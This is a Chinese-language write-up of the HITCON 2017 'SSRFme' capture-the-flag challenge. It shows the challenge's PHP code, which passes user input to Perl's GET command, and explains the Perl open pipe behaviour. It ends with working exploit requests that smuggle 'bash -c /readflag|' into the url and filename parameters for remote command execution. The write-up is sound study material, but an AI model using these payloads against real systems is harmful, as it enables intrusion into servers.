[HITCON 2017]SSRFme
[HITCON 2017]SSRFme
打开环境就是代码审计
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
$_SERVER, Server and execution environment information — 服务器和执行环境信息
REMOTE_ADDR:正在浏览当前页面用户的 IP 地址。
X-Forwarded-For:是一个 HTTP 扩展头部
shell_exec(): 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
escapeshellarg : 把字符串转码为可以在 shell 命令里使用的参数。
pathinfo() 返回一个关联数组包含有 path 的信息。
包括以下的数组元素:
[dirname] //路径名
[basename] //文件名
[extension] //扩展名
chdir(): 把当前的目录改变为指定的目录。
file_put_contents(): 把一个字符串写入文件中。
第一段代码会打印出当前用户IP,然后会创建一个文件夹,路径为sandbox/MD5(orange+ip)
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
通过url参数输入的内容会以GET命令执行,命令执行的结果会被存入我们以filename参数的值命名的文件里
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
这里的GET不是我么平常的GET方法传参,这里的GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理
首先我们到kali里面去测试一下这个GET有什么作用
这里GET一个根目录,功能类似于ls把它给列出来,也可以读取文件
那么这段代码的意思就是,把shell_exec中GET过来的结果保存到escapeshellarg中用get(此处get为get请求)接收的参数中,并且这个参数是可以在shell命令里使用的参数。
然后用pathinfo函数分割get过来的filename,最后替换点,截取前面目录,最终用file_put_contents函数把之前$data给写进这个目录里面。
首先尝试访问根目录,get:/?url=/&filename=aaa
接着访问aaa文件夹,路径:/sandbox/MD5(orange+ip)/aaa即/sandbox/a9950c04f34c1fc1447fffe46c5a0e5d/aaa
根目录下有flag和readflag文件,但是打不开,我们要利用readflag去读取flag,这里涉及到Perl中open命令执行(GET)内容了。
因为GET的底层是使用open函数的,如下
file.pm84: opendir(D, $path) or132: open(F, $path) or returnnew
而这个open函数会导致我们的RCE,最终造成GET的RCE
perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠|)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果。
所以我们需要先创建一个与我们需要执行命令相同的文件,然后使用管道截获该流程,使之为命令的执行,这里要创建一模一样的文件。
/?url=file:bash -c /readflag|&filename=bash -c /readflag|
修改存储的文件,并读取flag输入到存储的文件中去。直接rce。
/?url=file:bash -c /readflag|&filename=aaaa